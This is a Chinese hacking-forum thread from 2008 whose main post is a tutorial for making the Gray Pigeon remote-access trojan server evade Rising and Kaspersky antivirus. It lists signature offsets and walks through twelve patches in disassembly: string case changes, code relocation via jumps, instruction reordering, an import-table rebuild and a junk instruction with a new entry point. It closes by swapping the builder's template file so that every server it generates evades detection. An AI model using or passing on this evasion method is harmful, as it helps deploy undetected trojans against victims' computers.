找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1274|回复: 2

疯狂修改特征码--让黑防鸽子完美过瑞星(9月6号病毒库)

[复制链接]

3

主题

33

回帖

49

牛毛

初生牛犊

积分
49
发表于 2008-9-22 21:50:36 | 显示全部楼层 来自 江苏省常州市
虚心学习

2

主题

37

回帖

51

牛毛

初生牛犊

积分
51
发表于 2008-10-14 08:50:56 | 显示全部楼层 来自 湖南省株洲市
很典型,学习了

1

主题

20

回帖

28

牛毛

初生牛犊

积分
28
 楼主| 发表于 2008-9-22 20:25:22 | 显示全部楼层 |阅读模式 来自 山东省滨州市
瑞星是国内一流的杀毒软件,由其是杀内存比较强。在内存方面远远超过卡巴大叔。最近又出了瑞星

2007测式版,比起以前的瑞星增强了查壳能力,好久没做免杀了,有个朋友刚好要我给他的鸽子做免

杀,再说我也想试试瑞星2007到底有多强,于是开始做免杀工作。

此次免杀的主要目的就是过瑞星内存,瑞星文件就不说啥了,过了内存就基本上过了文件。要想过瑞

星内存方法也多,但是本文的方法主要就是修改特征码,然后删除文件里面服务信息资源,这样以后就

可以直接配置生成过瑞星内存的鸽子。

首先对瑞星内存特征码进行定位,这个很简单,相必做过免杀的people们都知道这个吧。在这就不费

话了,下面是我定位出的特征码(这是我花了一个小时弄出来的,过程是相当的枯躁),下面是我定位的

特征码:

特征码 物理地址/物理长度 如下:

[特征] 00***63B_000****0002

[特征] 0002E917_000****0002

[特征] 00***49A7_000****0002

[特征] 00***94B3D_000****0004

[特征] 000A0DD1_000****0002

[特征] 000A1250_000****0002

[特征] 000A1300_000****0002

[特征] 000A14D9_000****0002

[特征] 000A15BE_000****0002

[特征] 000A15C2_000****0004

[特征] 000A6EFB_000****0002

[特征] 000A6F1F_000****0004

下面我教大家一处一处的把它改掉。

第1处:用Uedit32载入服务端,来到偏移处00***63B发现是字符串“Software\\Borland\\Locales”其中

00***63B恰好是小写字母“d”,咱们把它改为大写字母“D”,改完后字符串变成了

“Software\\BorlanD\\Locales”第一处修改就完成了。


第2处:来到第二处文件偏移量,发现还是字符串“p.l.o.r.e.r.b.a”改成大写就OK。


第3处:来到文件偏移处,发现不是字符串,我们就对服务端进行反汇编。00***49A7所对的内存地址代

码如下:

00***55A08B45 FCmov eax,dword ptr ss:[ebp-4]
00***55A3E8 F8FDFFFFcall Server.00***53A0
00***55A885C0 test eax,eax

我们把call Server.00***53A0代码移位,

0040DC82***00 add byte ptr ds:[eax],al
0040DC84***00 add byte ptr ds:[eax],al
0040DC86***00 add byte ptr ds:[eax],al
0040DC88***00 add byte ptr ds:[eax],al
0040DC8A0000 add byte ptr ds:[eax],al
0040DC8C0000 add byte ptr ds:[eax],al

这里面发现空隙,咱们就把它移到这里,移完之后的代码如下:

00***55A08B45 FCmov eax,dword ptr ss:[ebp-4]
00***55A3E9 DA86F7FFjmp Server.0040DC82
00***55A885C0 test eax,eax

0040DC82E8 197****0800call Server.00***53A0
0040DC87E9 1C79***00jmp Server.00***55A8

第3处修改完成。


第4处:继续来到00***94B3D对应的汇编代码处:

004****7388B0424 mov eax,dword ptr ss:[esp]
00***73B3B86 0C01***00cmp eax,dword ptr ds:[esi+10C]
004****7417C ADjl short Server.00***56F0

费话不多写了改完后的代码如下:

004****7388B0424 mov eax,dword ptr ss:[esp]
00***73BE9 4C85F7FFjmp Server.0040DC8C
004****4090 nop
004****7417C ADjl short Server.00***56F0


0040DC8C3B86 0C01***00cmp eax,dword ptr ds:[esi+10C]
0040DC92E9 AA7A0800jmp Server.004****5741


第5处:对应汇编代码如下:

004A19CF8BD8 mov ebx,eax
004A19D16A FFpush -1
004A19D353 push ebx

在这一处我们更改汇编指令的顺序,前两句汇编指令颠倒顺序不会影响程序的正常执行,所以我们把它颠倒一下:

004A19CF6A FFpush -1
004A19D18BD8 mov ebx,eax
004A19D353 push ebx


第6处:和第3,4处一样,都是代码移位。

原代码如下:

004A1EFBE8 2C50F6FFcall <jmp.&kernel32.GetLastError>
004A1F003D B70***00cmp eax,0B7
004A1F0575 12jnz short Server.004A1F19

修改后的代码如下:

004A1EFBE8 2C50F6FFcall <jmp.&kernel32.GetLastError>
004A1F00E9 93BDF6FFjmp Server.0040DC98
004A1F0575 12jnz short Server.004A1F19

0040DC983D B70***00cmp eax,0B7
0040DC9DE9 634****0900jmp Server.004A1F05


第7处:就是对代码进行移位,没什么技术含量,原来代码如下:

004A20D1A1 B0554A00mov eax,dword ptr ds:[4A55B0]
004A20D68***38 00cmp byte ptr ds:[eax],0
004A20D974 05je short Server原.004A20E0
004A20DBE8 94F3FFFFcall Server原.004A1474
004A20E06A 00push 0

移位后如下:

004A20D1A1 B0554A00mov eax,dword ptr ds:[4A55B0]
004A20D6E9 65C1F6FFjmp Server.0040E240
004A20DBE8 94F3FFFFcall Server.004A1474
004A20E06A 00push 0

0040E24***38 00cmp byte ptr ds:[eax],0
0040E2430F84 973E0900je Server.004A20E0
0040E249E9 8D3E0900jmp Server.004A20DB


第8、9处:这一处是字符串,在这一处大家随便改吧。

原来里面的字符串是: “提示灰鸽子远程控制服务端安装成功”

把这一句随便改了,如改为:“中国黑基变种灰鸽子服务端安装成功”改后的字符串长度要和原来

的一样长。


第10处:对应汇编代码如下:

004A1E4BB9 040****0000mov ecx,4
004A1E506A 00push 0
004A1E526A 00push 0
004A1E5449 dec ecx
004A1E5575 F9jnz short Server.004A1E50

分析上面的汇编代码,jnz指令的意思是:结果不为零(或者不相等),则转移指令。测试条件:ZP=0

很显然由上面的代码看出,指令循环了4次,每次向堆栈压入2个0,一共向堆压入8个0。咱们可以把

这段代码改为如下:

004A1E4BB9 080****0000mov ecx,8
004A1E5090 nop
004A1E5190 nop
004A1E526A 00push 0
004A1E5449 dec ecx
004A1E5575 F9jnz short Server.004A1E50

上面的代码改为了让指令循环8次,每次向堆栈压入1个0,一共向堆栈压入也是8个0。运行结果是一

样的。


第11、12处:这两处特征码定义在输入表段(可不要去改大小写,windows的输入函数有严格的大小写

规定),咱们重新建立输入表段。

用PEID载入服务端,查看它的输入表的虚拟地址及大小。

虚拟地址:000A8000大小:00***33A2

用OD载入服务端,然后再用ImportREC载入服务端进程,把上面输入表的地址及大小填入ImportREC

里面的ITA所需信息,点击获取输入表

再点击显示无效的,右键选择删除指针。

如下图:

最后点击修理Dump,然后保存到服务端就OK了。

现在处理完成的服务端已经可以完美过瑞星了。

我们再让它小过一个卡巴大叔文件,其实并不难,加一条花指令就搞晕卡巴大叔。花指令如下:

0040E24E > /0F81 F43B0900jno Server.004A1E48 然后修改文件入口地址为:0000E24E ,

这样就可以过卡巴文件了。

最后我们用PE工具把黑防鸽子里面的服务端里面的“RCdata”下面的“HACKER”资源删除,

另存为Cserver.dat文件替换黑防鸽子目录下Cache文件夹下的的Cserver.dat文件,这样以后直接生成的

服务端不用再处理,就是直接过瑞星内存和卡巴文件的服务端。

整个过程就如上面所讲。有兴趣的朋友可以自己做一个。
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-1-16 04:54 , Processed in 0.141662 second(s), 35 queries , Yac On.

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表